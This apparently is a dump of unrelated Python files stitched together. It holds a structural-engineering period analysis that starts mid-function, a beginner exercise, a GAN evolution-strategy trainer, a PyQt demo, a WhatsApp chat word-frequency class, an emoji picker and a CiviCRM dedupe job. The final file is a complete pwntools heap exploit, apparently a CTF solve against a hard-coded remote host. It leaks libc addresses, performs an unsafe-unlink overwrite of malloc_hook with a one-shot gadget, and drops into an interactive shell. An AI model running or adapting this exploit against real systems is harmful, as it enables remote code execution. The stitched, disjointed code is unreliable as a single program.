        conc_mat[2] = 4.5*10**9*math.sqrt(4000*0.00689476)
        #conc_mat[2] = (3300*(4000*0.00689476)**0.5+6900)*(conc_mat[4]/2300)**1.5*10**6     #take comp strength as 4000 is no data available
    else:
        conc_mat[2] = 4.5*10**9*math.sqrt(original_bldg_row.iat[0,47]*0.00689476)
        #conc_mat[2] = (3300*(original_bldg_row.iat[0,47]*0.00689476)**0.5+6900)*(conc_mat[4]/2300)**1.5*10**6

    # =============================================================================
    #     Define Node
    # =============================================================================
    story_height = bldg.iat[bldg_num,4]

    num_story= bldg.iat[bldg_num,3]

    #joint nodes
    node_data = np.zeros((wall.shape[0]*(num_story+1),4))

    floor = 0

    #1.node ID 2.x coord 3.y coord 4.z coord
    for story in range(num_story+1):
        node_data[floor:floor+wall.shape[0],0] = list(range(1,wall.shape[0]+1))+np.ones(wall.shape[0])*(story+1)*1000
        node_data[floor:floor+wall.shape[0],1:3] = wall_arr[:,1:3]
        node_data[floor:floor+wall.shape[0],3] = np.ones(wall.shape[0])*story*story_height
        floor = floor + wall.shape[0]

    for i in range(node_data.shape[0]):
        ops.node(int(node_data[i,0]), node_data[i,1], node_data[i,2], node_data[i,3])

#    #master node at center of rigidity for rigid diaphragm
#    cor_node_data= np.zeros((num_story,4))
#
#    cor_node_data[:,0]= [x for x in list(range(1,num_story+1))]                #nodes start at 1 on floor 2
#    cor_node_data[:,1]= bldg_arr[bldg_num,17]                                  #COR x coord
#    cor_node_data[:,2]= bldg_arr[bldg_num,18]                                  #COR y coord
#    cor_node_data[:,3]= [x*story_height for x in list(range(1,num_story+1))]   #height of each story
#
#    for i in range(cor_node_data.shape[0]):
#        ops.node(int(cor_node_data[i,0]), cor_node_data[i,1], cor_node_data[i,2], cor_node_data[i,3])

    #floor plate center of mass calculation
    #1.area 2.mass 3.x*mass 4.y*mass
    #all standard metric
    mass_calc= np.zeros((wall.shape[0],4))

    mass_calc[:,0]= np.multiply(wall_arr[:,3],wall_arr[:,4])
    mass_calc[:,1]= conc_mat[4]*story_height*mass_calc[:,0]
    mass_calc[:,2]= np.multiply(wall_arr[:,1], mass_calc[:,1])
    mass_calc[:,3]= np.multiply(wall_arr[:,2], mass_calc[:,1])

    overall_x_com= bldg.iat[bldg_num,11]
    overall_y_com= bldg.iat[bldg_num,12]

    seismic_mass= bldg.iat[bldg_num,2]*(bldg.iat[bldg_num,8]*conc_mat[4]+1200/9.81);
    #back calculate slab COM given available data
    slab_x_com= (overall_x_com*(seismic_mass+sum(mass_calc[:,1]))- sum(mass_calc[:,2]))/seismic_mass
    slab_y_com= (overall_y_com*(seismic_mass+sum(mass_calc[:,1]))- sum(mass_calc[:,3]))/seismic_mass

    #mass nodes
    mass_node_data= np.zeros((num_story,10))

    #1.node ID 2.x coord 3.y coord 4.z coord 5 to 10:mass in 6 DOFs
    mass_node_data[:,0]= [x*10000 for x in list(range(1,num_story+1))]
    mass_node_data[:,1]= slab_x_com
    mass_node_data[:,2]= slab_y_com
    mass_node_data[:,3]= [x*story_height for x in list(range(1,num_story+1))]
    mass_node_data[:,4:6]= seismic_mass
    mass_node_data[:,9]= (bldg.iat[bldg_num,0]**2+bldg.iat[bldg_num,1]**2)*seismic_mass/12

    for i in range(mass_node_data.shape[0]):
        ops.node(int(mass_node_data[i,0]), mass_node_data[i,1], mass_node_data[i,2], mass_node_data[i,3], '-mass', mass_node_data[i,4], mass_node_data[i,5], mass_node_data[i,6], mass_node_data[i,7], mass_node_data[i,8], mass_node_data[i,9])

    #add mass to node to represent DL on columns
#    dl_data= np.zeros(((num_story)*wall.shape[0],7))
#
#    wall_data= original_wall.loc[original_wall['BuildingID'] == bldg_id]
#    wall_data= wall_data.loc[wall_data['WallFloor'] > 1]
#    wall_data_arr = wall_data.to_numpy()
#
#    floor = 0
#
#    for i in range(num_story):
#        dl_data[floor:floor+wall.shape[0],0]= node_data[floor+wall.shape[0]:floor+wall.shape[0]*2,0]
#        dl_data[floor:floor+wall.shape[0],1]= np.multiply(wall_data_arr[:,18],wall_data_arr[:,19])*original_bldg.iat[bldg_num,38]**2*0.0254**2*(1200/9.81+bldg.iat[bldg_num,8]*conc_mat[4])
#        dl_data[floor:floor+wall.shape[0],2]= dl_data[floor:floor+wall.shape[0],1]
#        dl_data[floor:floor+wall.shape[0],3]= dl_data[floor:floor+wall.shape[0],1]
#        dl_data[floor:floor+wall.shape[0],4]= dl_data[floor:floor+wall.shape[0],1]
#        dl_data[floor:floor+wall.shape[0],5]= dl_data[floor:floor+wall.shape[0],1]
#        dl_data[floor:floor+wall.shape[0],6]= dl_data[floor:floor+wall.shape[0],1]
#        floor = floor + wall.shape[0]
#
#    for i in range(dl_data.shape[0]):
#        ops.mass(dl_data[i,0], dl_data[i,1], dl_data[i,2], dl_data[i,3], dl_data[i,4], dl_data[i,5], dl_data[i,6])
#
    # =============================================================================
    #     Set Boundary Condition
    # =============================================================================
    #1.node 2 to 6: 1=fixed, 0=free
    constraint_data= np.ones((wall.shape[0],7))

    constraint_data[:,0]= node_data[0:wall.shape[0],0]

    for i in range(wall.shape[0]):
        ops.fix(constraint_data[i,0], int(constraint_data[i,1]), int(constraint_data[i,2]), int(constraint_data[i,3]), int(constraint_data[i,4]), int(constraint_data[i,5]), int(constraint_data[i,6]))

    #constraints for mass nodes
    mass_constraint_data= np.ones((num_story,7))

    mass_constraint_data[:,0]= mass_node_data[0:mass_node_data.shape[0],0]

    mass_constraint_data[:,1:3]= 0
    mass_constraint_data[:,6]= 1

    for i in range(mass_constraint_data.shape[0]):
        ops.fix(mass_constraint_data[i,0], 0,0,1,1,1,0)

    # =============================================================================
    #     Apply Wall Constraints
    # =============================================================================

    original_wall_data= original_wall.loc[original_wall['BuildingID'] == bldg_id]
    typical_floor= max(original_wall_data['WallFloor'])
    original_wall_data= original_wall_data.loc[original_wall_data['WallFloor'] == typical_floor]

    attached= np.zeros((original_wall_data.shape[0],2))
    coupled= np.zeros((original_wall_data.shape[0],2))

    attached_row= 0
    coupled_row= 0

    for i in range(original_wall_data.shape[0]):
        if np.isnan(original_wall_data.iat[i,9])!= 1:
            attached[attached_row,0]= original_wall_data.iat[i,2]
            attached[attached_row,1]= original_wall_data.iat[i,9]
            attached_row= attached_row+ 1
        if np.isnan(original_wall_data.iat[i,10])!= 1:
            coupled[coupled_row,0]= original_wall_data.iat[i,2]
            coupled[coupled_row,1]= original_wall_data.iat[i,10]
            coupled_row= coupled_row+ 1
    attached= np.delete(attached,np.where(~attached.any(axis=1))[0], axis=0)
    coupled= np.delete(coupled,np.where(~coupled.any(axis=1))[0], axis=0)

    #assume coupled walls are attached
    combined= np.concatenate((attached, coupled))

    wall_constraint_organizer= np.zeros((attached.shape[0]+coupled.shape[0],original_wall_data.shape[0]+10))

    for combined_row in range(combined.shape[0]):
        if combined[combined_row,1] in wall_constraint_organizer[:,:]:
            row = np.where(wall_constraint_organizer == combined[combined_row,1])[0][0]
            column= np.where(wall_constraint_organizer[row,:] == 0)[0][0]
            wall_constraint_organizer[row,column]= combined[combined_row,0]
        else:
            row = np.where(wall_constraint_organizer[:,0] == 0)[0][0]
            wall_constraint_organizer[row,0:2]= combined[combined_row,:]

    wall_constraint_organizer= np.delete(wall_constraint_organizer,np.where(~wall_constraint_organizer.any(axis=1))[0], axis=0)

    wall_constraint_organizer[wall_constraint_organizer==0] = np.nan

    for current_row in range(wall_constraint_organizer.shape[0]):
        if wall_constraint_organizer[current_row,0]!='nan':
            for row in range(wall_constraint_organizer.shape[0]):
                if wall_constraint_organizer[row,0]!='nan':
                    if set(wall_constraint_organizer[current_row,:]).isdisjoint(set(wall_constraint_organizer[row,:])):
                        pass
                    else:
                        temp= np.union1d(wall_constraint_organizer[current_row,:], wall_constraint_organizer[row,:])
                        temp= temp[~np.isnan(temp)]
                        wall_constraint_organizer[current_row,0:temp.shape[0]]= temp
                        if row!=current_row:
                            wall_constraint_organizer[row,:]= 'nan'

    wall_constraint_organizer[np.isnan(wall_constraint_organizer)] = 0

    original_wall_data_arr= original_wall_data.to_numpy()

    wall_constraint_data= wall_constraint_organizer

    for row in range(wall_constraint_organizer.shape[0]):
        if wall_constraint_organizer[row,0]!= 0:
            end_column= np.where(wall_constraint_organizer[row,:] == 0)[0][0]
            for column in range(end_column):
                wall_constraint_data[row,column]= np.where(original_wall_data_arr[:,2] == wall_constraint_organizer[row,column])[0][0]+1

    check= np.zeros((1000,2))
    check_row= 0

    for row in range(wall_constraint_data.shape[0]):
        if wall_constraint_data[row,0]!= 0:
            end_column= np.where(wall_constraint_data[row,:] == 0)[0][0]
            for column in range(1,end_column):
                for floor in range(num_story):
                    ops.equalDOF(int(wall_constraint_data[row,0]+1000*(floor+2)), int(wall_constraint_data[row,column]+1000*(floor+2)),3,4,5)
                    check[check_row,0]= wall_constraint_data[row,0]+1000*(floor+2)
                    check[check_row,1]= wall_constraint_data[row,column]+1000*(floor+2)
                    check_row= check_row+1

    # =============================================================================
    #     Define Coordinate Transformation
    # =============================================================================
    ops.geomTransf('Linear', 1, 1, 0, 0)

    # =============================================================================
    #     Define Elements
    # =============================================================================

    #in local coordinate system: 0.J 1.Iz 2.Iy
    moment_of_inertia= np.zeros((wall.shape[0],3))

    for i in range(wall.shape[0]):
        moment_of_inertia[i,0]= wall.iat[i,3]*wall.iat[i,4]**3/3
        if wall.iat[i,7]=='E/W':
            moment_of_inertia[i,1]= wall.iat[i,3]**3*wall.iat[i,4]/12
            moment_of_inertia[i,2]= wall.iat[i,4]**3*wall.iat[i,3]/12
        elif wall.iat[i,7]=='N/S':
            moment_of_inertia[i,1]= wall.iat[i,4]**3*wall.iat[i,3]/12
            moment_of_inertia[i,2]= wall.iat[i,3]**3*wall.iat[i,4]/12

    element_data= np.zeros((wall.shape[0]*num_story,11))

    row= 0

    for story in range(num_story):
        element_data[row:row+ wall.shape[0],0]= list(range(1,wall.shape[0]+1))+np.ones(wall.shape[0])*(story+1)*1000    #element ID
        #node 1 at the bottom and node 2 at the top of each floor
        element_data[row:row+ wall.shape[0],1]= node_data[row:row+wall.shape[0],0]                      #node 1 (i)
        element_data[row:row+ wall.shape[0],2]= node_data[row+wall.shape[0]:row+wall.shape[0]*2,0]      #node 2 (j)
        element_data[row:row+ wall.shape[0],3]= np.multiply(wall_arr[:,3],wall_arr[:,4])                #area
        element_data[row:row+ wall.shape[0],4]= conc_mat[2]                                             #elastic modulus
        element_data[row:row+ wall.shape[0],5]= element_data[row:row+ wall.shape[0],4]/(2*(1+0.17))     #shear modulus
        element_data[row:row+ wall.shape[0],6]= moment_of_inertia[:,0]                                  #J
        element_data[row:row+ wall.shape[0],7]= moment_of_inertia[:,1]*0.7                              #70% of Iy
        element_data[row:row+ wall.shape[0],8]= moment_of_inertia[:,2]*0.7                              #70% of Iz
        element_data[row:row+ wall.shape[0],9]= 1                                                       #coordinate transfer flag
        element_data[row:row+ wall.shape[0],10]= conc_mat[4]*element_data[row:row+ wall.shape[0],3]     #mass/length

        row= row+ wall.shape[0]

    for i in range(element_data.shape[0]):
        ops.element('elasticBeamColumn',int(element_data[i,0]),int(element_data[i,1]),int(element_data[i,2]),element_data[i,3],element_data[i,4],element_data[i,5],element_data[i,6],element_data[i,7],element_data[i,8],int(element_data[i,9]),'-mass',element_data[i,10])

#     =============================================================================
#         Define Rigid Diaphragm
#     =============================================================================
    for i in range(num_story):
        ops.rigidDiaphragm(3, (i+1)*10000, *list(node_data[(i+1)*wall.shape[0]:(i+1)*wall.shape[0]+ wall.shape[0],0]))

    # =============================================================================
    #     Define Gravity Load in Columns
    # =============================================================================

#    #define time series
#    ops.timeSeries('Constant', 1)
#
#    #define pattern
#    ops.pattern('Plain', 1, 1)
#
#    #define nodal loads
#    wall_data= original_wall.loc[original_wall['BuildingID'] == bldg_id]
#   #note: need to modify line below to ensure the largest floor is taken
#   wall_data= wall_data.loc[wall_data['WallFloor'] > 1]
#    wall_data_arr = wall_data.to_numpy()
#
#    gravity_load_data= np.zeros((element_data.shape[0],7))
#
#    row= 0
#
#    gravity_load_data[:,0]= node_data[wall.shape[0]:node_data.shape[0],0]
#
#    for story in range(num_story):
#        gravity_load_data[row:row+ wall.shape[0],3]= -1*np.multiply(wall_data_arr[:,18],wall_data_arr[:,19])*original_bldg.iat[bldg_num,38]**2*0.0254**2*(1200+bldg.iat[bldg_num,8]*conc_mat[4]*9.81)
#
#        row= row+ wall.shape[0]
#    for i in range(gravity_load_data.shape[0]):
#        ops.load(int(gravity_load_data[i,0]), gravity_load_data[i,1], gravity_load_data[i,2], gravity_load_data[i,3], gravity_load_data[i,4], gravity_load_data[i,5], gravity_load_data[i,6])

    # =============================================================================
    #       Analysis Generation
    # =============================================================================
    #eigen command
    eigen_values= ops.eigen(num_eigen)

    period= 2*math.pi/np.sqrt(eigen_values)

    period_data[bldg_num,:]= period

    # render the model after defining all the nodes and elements
    #plot_model()

    ops.wipe()

#plot period vs. story
plt.plot(period_data[:,0], bldg_arr[:,3], 'o', color='black',markersize=5)
plt.ylim(0, 35)
plt.xlim(0, 6)
plt.xlabel('Fundamental period (s)')
plt.ylabel('Storeys above grade')
plt.plot([0,3.5], [0,35])


#Create a variable called 'var' and assign with data type integer to it.

#Convert 'var' to float data type and assign to another variable called 'var_float'

#Convert 'var' to string data type and assign to another variable called 'var_str'

#Print the value of 'var_float'

#Print the value of 'var_str'
var=5
var_float=float(var)
var_str=str(var)
print(var_float)
print(var_str)


import logging

import numpy as np
import torch

from helpers.population import TYPE_GENERATOR
from helpers.pytorch_helpers import to_pytorch_variable, save_images
from training.nes.nes_trainer import NaturalEvolutionStrategyTrainer

class SequentialNESTrainer(NaturalEvolutionStrategyTrainer):

    _logger = logging.getLogger(__name__)

    def train(self, n_iterations, stop_event=None):
        loader = self.dataloader.load()

        distributor = Distributor()

        if self._population_size % distributor.n_procs_overall != 0:
            self._logger.error("Number of overall processes should be a factor of population size, "
                               "distribution may not work.")

        self.lw_cache.init_session(n_iterations, self.population_gen, self.population_dis)

        for i in range(n_iterations):
            for j, (input_data, labels) in enumerate(loader):

                batch_size = input_data.size(0)
                input_var = to_pytorch_variable(input_data.view(batch_size, -1))

                populations = self.population_gen, self.population_dis
                self.evolve_generation(distributor, populations, input_var)

                self.lw_cache.append_stepsizes(self.population_gen, self.population_dis)

                # If n_batches is set to 0, all batches will be used
                if self.dataloader.n_batches != 0 and self.dataloader.n_batches - 1 == j:
                    break

            self.lw_cache.log_best_individuals(i, self.population_gen, self.population_dis)
            self.log_results(batch_size, i, input_var, loader)

        self.lw_cache.end_session()

        return (self.population_gen.individuals[0].genome, self.population_gen.individuals[0].fitness), (
            self.population_dis.individuals[0].genome, self.population_dis.individuals[0].fitness)

    def evolve_generation(self, distributor, populations, input_data):
        for net_type, population in enumerate(populations):

            params = population.individuals[0].genome.parameters
            opponent = populations[1 - net_type].individuals[0]

            index_chunks = np.array_split(range(self._population_size), distributor.n_procs_overall)
            output = distributor.run_distributed(self._calc_rewards, index_chunks=index_chunks,
                                                 params=params, opponent=opponent, input_data=input_data,
                                                 net_type=net_type)

            if distributor.is_master_node:
                rewards, rands = output

                # standardize the rewards to have a gaussian distribution
                a = (rewards - rewards.mean()) / rewards.std()

                # perform the parameter update. The matrix multiply below
                # is just an efficient way to sum up all the rows of the noise matrix N,
                # where each row N[j] is weighted by A[j]
                population.individuals[0].genome.parameters = params - self._alpha / (
                        self._population_size * self._sigma) * torch.matmul(rands.t(), a)
                population.individuals[0].fitness = \
                    population.individuals[0].genome.compute_loss_against(opponent.genome, input_data)[0]

    def _calc_rewards(self, distributor, worker_index, set_output, index_chunks, params, opponent, input_data, net_type):
        clone = self._create_clone(self.network_factory, net_type)

        chunk_len = len(index_chunks[worker_index])
        rands = torch.randn(chunk_len, len(params))
        rewards = torch.zeros(chunk_len)

        for i in range(chunk_len):
            w_try = params + self._sigma * rands[i]
            rewards[i] = self._evaluate_fitness(input_data, opponent, clone, w_try)

        list_rewards = [torch.zeros(chunk_len)] * distributor.n_procs_overall
        list_randoms = [torch.zeros(chunk_len, len(params))] * distributor.n_procs_overall
        distributor.all_gather(rewards, list_rewards)
        distributor.all_gather(rands, list_randoms)

        # Only master node has to set the output
        if worker_index == 0:
            set_output((torch.cat(list_rewards), torch.cat(list_randoms)))

    @staticmethod
    def _create_clone(network_factory, net_type):
        return network_factory.create_generator() if net_type == TYPE_GENERATOR else \
            network_factory.create_discriminator()

    @staticmethod
    def _evaluate_fitness(input_data, opponent, clone, w_try):
        clone.parameters = w_try
        return float(clone.compute_loss_against(opponent.genome, input_data)[0])

    @staticmethod
    def _round_down(num, divisor):
        return num - (num % divisor)


from PyQt5 import (
    QtWidgets,
    QtCore,
)

from slot_signal_ui import Ui_Form

QtCore.pyqtSlot(str)
def emit_but_slot(name):
    print(f'emitted: {name}')

class MyForm(QtWidgets.QWidget):
    my_signal = QtCore.pyqtSignal(str)

    def __init__(self):
        super().__init__()
        self.ui = Ui_Form()
        self.ui.setupUi(self)
        self.ui.emit_but.clicked.connect(self.emit_but_cb)
        self.th = MyThread()
        self.my_signal.connect(self.th.emit_but_slot)

    def emit_but_cb(self):
        self.my_signal.emit('abc')

class MyThread(QtCore.QThread):

    def __init__(self):
        super().__init__()

    @QtCore.pyqtSlot(str)
    def emit_but_slot(self, name):
        print(f'another thread: {name}')

if __name__ == '__main__':
    app = QtWidgets.QApplication([])
    form = MyForm()
    form.my_signal.connect(emit_but_slot)
    form.show()
    app.exec()


'''
Created on Jun 19, 2019

@author: Miguel Toro
'''

from us.lsi.tools.FIterable import FIterable
from us.lsi.whatsapp.Mensaje import Mensaje
from us.lsi.tools import Preconditions
from us.lsi.tools import FileTools
from us.lsi.tools import Graphics
import collections
import re
from us.lsi.tools.Extensions import mapValues

PalabraUsuario = collections.namedtuple('PalabraUsuario', 'palabra usuario')

class Grupo:
    '''
    classdocs
    '''

    def __init__(self,mensajes,palabrasHuecas):
        '''
        Constructor
        '''
        self.__mensajes = mensajes
        self.__palabrasHuecas = palabrasHuecas
        self.__mensajesPorUsuario = None
        self.__mensajesPorDiaDeSemana = None
        self.__mensajesPorFecha = None
        self.__mensajesPorHora = None
        self.__frecuenciasDePalabras = None
        self.__numeroDePalabras = None
        self.__frecuenciasDePalabrasPorUsuario = None
        self.__numeroDePalabrasPorUsuario = None
        self.__frecuenciasDePalabrasPorRestoDeUsuarios = None
        self.__numeroDePalabrasPorRestoDeUsuarios = None

    @staticmethod
    def ofFile(file):
        mensajes = FIterable(FileTools.lineas(file)) \
                .filter(lambda x: x and len(x) >0) \
                .map(lambda m: Mensaje.parse(m)) \
                .filter(lambda x: x) \
                .toList()
        palabrasHuecas = FIterable(FileTools.lineas("../../../resources/palabras_huecas.txt")) \
                .filter(lambda x: len(x) >0) \
                .toSet()
        return Grupo(mensajes,palabrasHuecas)

    def __str__(self):
        return FIterable(self.__mensajes).map(lambda m: str(m)).joining('\n')

    def getMensajes(self):
        return self.__mensajes

    def getMensajesPorUsuario(self):
        if not self.__mensajesPorUsuario:
            self.__mensajesPorUsuario = FIterable(self.__mensajes).grouping(lambda x: x.usuario)
        return self.__mensajesPorUsuario

    def getNumeroDeMensajesPorUsuario(self, usuario):
        Preconditions.checkArgument(self.getMensajesPorUsuario().containsKey(usuario), \
                "No existe el usuario %s" % (usuario))
        return len(self.getMensajesPorUsuario[usuario])

    def getMensajesPorDiaDeSemana(self):
        if not self.__mensajesPorDiaDeSemana:
            self.__mensajesPorDiaDeSemana = FIterable(self.__mensajes) \
                .grouping(lambda x: x.fecha.weekday())
        return self.__mensajesPorDiaDeSemana

    def getNumeroDeMensajesPorDiaDeSemana(self, diaSemana):
        Preconditions.checkArgument(diaSemana in self.getMensajesPorDiaDeSemana(), \
                "No existe la fecha %s" % str(diaSemana))
        return len(self.__mensajesPorDiaDeSemana[diaSemana])

    def drawNumeroDeMensajesPorDiaDeSemana(self,fileOut):
        nombresColumna = FIterable(self.getMensajesPorDiaDeSemana()) \
                .sort() \
                .map(lambda x:str(x)) \
                .toList()

        datos =  FIterable(self.getMensajesPorDiaDeSemana().items()) \
                .sort(lambda x: x[0]) \
                .map(lambda x: len(x[1])) \
                .toList()

        nombresDatos = ["NumeroDeMensajes"]

        Graphics.columnsBarChart(fileOut, "MensajesPorDiaDeSemana", nombresDatos, nombresColumna, datos)

    def getMensajesPorFecha(self):
        if not self.__mensajesPorFecha:
            self.__mensajesPorFecha = FIterable(self.__mensajes).grouping(lambda x: x.fecha)
        return self.__mensajesPorFecha;

    def getNumeroDeMensajesPorFecha(self,fecha):
        Preconditions.checkArgument(fecha in self.getMensajesPorFecha(), \
                "No existe la fecha %s" % (str(fecha)))
        return len(self.getMensajesPorFecha[fecha])

    def getMensajesPorHora(self):
        if not self.__mensajesPorHora:
            self.__mensajesPorHora = FIterable(self.__mensajes).grouping(lambda x:x.hora)
        return self.__mensajesPorHora

    def getNumeroDeMensajesPorHora(self,hora):
        Preconditions.checkArgument(hora in self.getMensajesPorHora(), \
                "No existe la fecha %s" % (str(hora)))
        return len(self.getMensajesPorHora()[hora])

    def getFrecuenciasDePalabras(self):
        if not self.__frecuenciasDePalabras:
            self.__frecuenciasDePalabras = FIterable(self.__mensajes) \
                    .map(lambda x: x.texto) \
                    .flatMap(lambda x: re.split(r'[ \".,:();\u00BF\u003F\u00A1\u0021]',x)) \
                    .filter(lambda x: len(x) >0) \
                    .filter(lambda x: x not in self.__palabrasHuecas) \
                    .counting(lambda x: x)
        return self.__frecuenciasDePalabras

    def getNumeroDePalabras(self):
        if not self.__numeroDePalabras:
            self.__numeroDePalabras = FIterable(self.getFrecuenciasDePalabras().values()).sum()
        return self.__numeroDePalabras

    def getFrecuenciasDePalabrasPorUsuario(self):
        if not self.__frecuenciasDePalabrasPorUsuario:
            self.__frecuenciasDePalabrasPorUsuario = FIterable(self.__mensajes) \
                    .map(lambda m: PalabraUsuario(m.texto,m.usuario)) \
                    .flatMap(lambda p: FIterable(re.split(r'[ .,:();\u00BF\u003F\u00A1\u0021\"]',p.palabra)) \
                            .filter(lambda x: len(x) >0) \
                            .filter(lambda x: x not in self.__palabrasHuecas) \
                            .map(lambda x: PalabraUsuario(x,p.usuario))) \
                    .counting(lambda x: x)
        return self.__frecuenciasDePalabrasPorUsuario

    def getNumeroDePalabrasPorUsuario(self):
        if not self.__numeroDePalabrasPorUsuario:
            self.__numeroDePalabrasPorUsuario = FIterable(self.getFrecuenciasDePalabrasPorUsuario().items()) \
                .grouping(lambda e: e[0].usuario,lambda e: e[1], lambda x,y: x+y)
        return self.__numeroDePalabrasPorUsuario

    def getFrecuenciasDePalabrasPorRestoDeUsuarios(self):
        if not self.__frecuenciasDePalabrasPorRestoDeUsuarios:
            m = self.getFrecuenciasDePalabrasPorUsuario()
            self.__frecuenciasDePalabrasPorRestoDeUsuarios = \
                    mapValues(m,lambda k,v: self.getFrecuenciasDePalabras()[k.palabra]-v)
        return self.__frecuenciasDePalabrasPorRestoDeUsuarios

    def getNumeroDePalabrasPorRestoDeUsuarios(self):
        if not self.__numeroDePalabrasPorRestoDeUsuarios:
            self.__numeroDePalabrasPorRestoDeUsuarios = \
                FIterable(self.getFrecuenciasDePalabrasPorRestoDeUsuarios().items()) \
                    .grouping(lambda e: e[0].usuario,lambda e: e[1], lambda x,y: x+y)
        return self.__numeroDePalabrasPorRestoDeUsuarios

    def getImportanciaDePalabrasDeUsuario(self,palabra,usuario):
        return (self.getFrecuenciasDePalabrasPorUsuario()[PalabraUsuario(palabra, usuario)] \
                /self.getNumeroDePalabrasPorUsuario()[usuario]) * \
                (self.getNumeroDePalabrasPorRestoDeUsuarios()[usuario] \
                /self.getFrecuenciasDePalabrasPorRestoDeUsuarios()[PalabraUsuario(palabra, usuario)])

    def getPalabrasCaracteristicasDeUsuario(self,usuario,umbral):
        return FIterable(self.getFrecuenciasDePalabrasPorUsuario().items()) \
                .filter(lambda e:e[0].usuario == usuario) \
                .filter(lambda x: self.getFrecuenciasDePalabras()[x[0].palabra] > umbral) \
                .filter(lambda x: x[1] > umbral) \
                .filter(lambda e: self.getFrecuenciasDePalabrasPorRestoDeUsuarios()[e[0]] > umbral) \
                .grouping(lambda e: e[0].palabra, \
                        lambda e:self.getImportanciaDePalabrasDeUsuario(e[0].palabra,e[0].usuario), \
                        lambda x,y: x+y)


#!/usr/bin/python3
# -*- coding: utf-8 -*-

from subprocess import Popen, PIPE
import os
from time import time
import requests
from bs4 import BeautifulSoup

urls = [
    'https://emojipedia.org/people/',
    'https://emojipedia.org/nature/',
    'https://emojipedia.org/food-drink/',
    'https://emojipedia.org/activity/',
    'https://emojipedia.org/travel-places/',
    'https://emojipedia.org/objects/',
    'https://emojipedia.org/symbols/',
    'https://emojipedia.org/flags/']

emoji_cache = os.path.join(os.path.expanduser('~'), '.cache/rofimojis')

def refresh_cache():
    text = ''
    for url in urls:
        data = requests.get(url)  # type: requests.Response
        soup = BeautifulSoup(data.content, 'lxml')  # type: BeautifulSoup

        soup = soup.find("div", attrs={"class": "content"})
        for table_row in soup.find_all('li'):
            emoji_row = table_row.find('a')
            text += emoji_row.get_text() + '\n'
    with open(emoji_cache, 'w') as f:
        f.write(text)

    return text

def open_cache():
    with open(emoji_cache, 'r') as f:
        return f.read()

def get_emojis():
    if not os.path.exists(emoji_cache):
        return refresh_cache()

    last_modified = os.stat(emoji_cache).st_mtime
    if (time() - last_modified >= 60 * 60 * 24 * 30):
        return refresh_cache()

    return open_cache()

emojis = get_emojis()

rofi = Popen(
    args=[
        'rofi',
        '-dmenu',
        '-i',
        '-p',
        ' 😀   ',
        '-kb-custom-1',
        'Alt+c'
    ],
    stdin=PIPE,
    stdout=PIPE
)
(stdout, stderr) = rofi.communicate(input=emojis.encode('utf-8'))

if rofi.returncode == 1:
    exit()
else:
    emoji = stdout.split()[0]
    if rofi.returncode == 0:
        Popen(
            args=[
                'xdotool',
                'type',
                '--clearmodifiers',
                emoji.decode('utf-8')
            ]
        )
    elif rofi.returncode == 10:
        xsel = Popen(
            args=[
                'xsel',
                '-i',
                '-b'
            ],
            stdin=PIPE
        )
        xsel.communicate(input=emoji)


#!/usr/bin/env python

'''Find low-hanging dupe fruits and mark them for the manual review queue'''

from process.logging import Logger as log
from process.globals import load_config
load_config("dedupe")
import process.lock as lock

from autoreview import Autoreview
from civicrm.tag import Tag
from contact_cache import TaggedGroup
from database import db
from match import EmailMatch
from review_job import ReviewJob
from review_queue import ReviewQueue

class QuickAutoreview(object):
    QUICK_REVIEWED = Tag.get("Quick autoreviewed")

    def __init__(self):
        self.contactCache = TaggedGroup(
            tag=Autoreview.REVIEW,
            excludetag=QuickAutoreview.QUICK_REVIEWED,
            require_email=True
        )
        job = ReviewJob("Quick autoreview")
        self.job_id = job.id

    def reviewBatch(self):
        '''For each new contact, find the oldest contact with the same email address.'''

        matchDescription = EmailMatch("Exact match").json()

        matched = 0
        self.contactCache.fetch()
        for contact in self.contactCache.contacts:
            if contact['email']:
                query = db.Query()
                query.columns = [
                    'MIN(contact_id) AS contact_id',
                ]
                query.tables = [
                    'civicrm_email',
                ]
                query.where.extend([
                    'email = %(email)s',
                    'contact_id < %(new_id)s',
                ])
                query.group_by.extend([
                    'email',
                ])
                query.params = {
                    'new_id': contact['id'],
                    'email': contact['email'],
                }
                result = db.get_db().execute(query)

                if result:
                    for row in result:
                        ReviewQueue.addMatch(self.job_id, row['contact_id'], contact['id'], Autoreview.REC_DUP, matchDescription)
                        matched += 1

            ReviewQueue.tag(contact['id'], QuickAutoreview.QUICK_REVIEWED)

        if not self.contactCache.contacts:
            log.warn("Searched an empty batch of contacts!")
        else:
            last_seen = self.contactCache.contacts[-1]['id']
            log.info("End of batch.  Last contact scanned was ID {id}".format(id=last_seen))
            log.info("Marked {matched} contacts as potential duplicates.".format(matched=matched))

if __name__ == '__main__':
    log.info("Begin quick_autoreview deduper")
    lock.begin()

    job = QuickAutoreview()
    job.reviewBatch()
    ReviewQueue.commit()

    lock.end()
    log.info("End quick_autoreview deduper")


from pwn import *
import time

binary='./combination'
s=process('./combination')
s=remote("203.250.148.108" , 40002)
e=ELF(binary)

def rc() :
	s.recvuntil("> ")

def sl(message) :
	s.sendline(message)
rc()
sl('1') #1
sl('504')
sl('aaaaaaaa')
rc()
sl('1') #2
sl('504')
sl('b'*8)
rc()

sl('46') #3
sl('8')
sl('a'*8)
rc()
sl('3')
s.recvuntil('see? ')
sl('3')
s.recvuntil('a'*8)
leak=u64(s.recv(6).ljust(8,'\x00'))
pie=leak-0xb11
heap_ptr = pie + 0x202060
rc()
sl('46') #4
sl('72')
sl('b'*8)
rc()
sl('3')
s.recvuntil('see? ')
sl('4')
s.recvuntil('b'*8)
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - (0x7ffff7a8781b-0x7ffff7a0d000)
malloc_hook = libc_base + 0x3C4B10
free_hook = libc_base + 0x3C67A8
oneshot_gaget = libc_base + 0xF02BA-0x16
log.info('heap_ptr : '+hex(heap_ptr)+' libc_base : '+hex(libc_base)+' malloc_hook : '+hex(malloc_hook)+' oneshot_gaget : '+hex(oneshot_gaget))
rc()
sl('4')
s.recvuntil('modify : ')
sl('1')
sl(p64(0)+p64(0)+p64(heap_ptr-0x18)+p64(heap_ptr-0x10)+'a'*464+p64(0x1f0))
rc()
sl('2')
s.recvuntil('free : ')
sl('2')
time.sleep(0.5)
rc()
sl('1')
sl('152') #5
sl('')
rc()
sl('4')
s.recvuntil('modify : ')
sl('1')
sl('a'*0x18+'\xa7'+p64(malloc_hook)+'\xff\xff')
rc()
sl('4')
s.recvuntil('modify : ')
sl('5')
sl(p64(oneshot_gaget))
rc()
sl('2')
s.recvuntil('free : ')
sl('1')
s.interactive()
"""
sl('1')
sl('145')
s.interactive()
"""


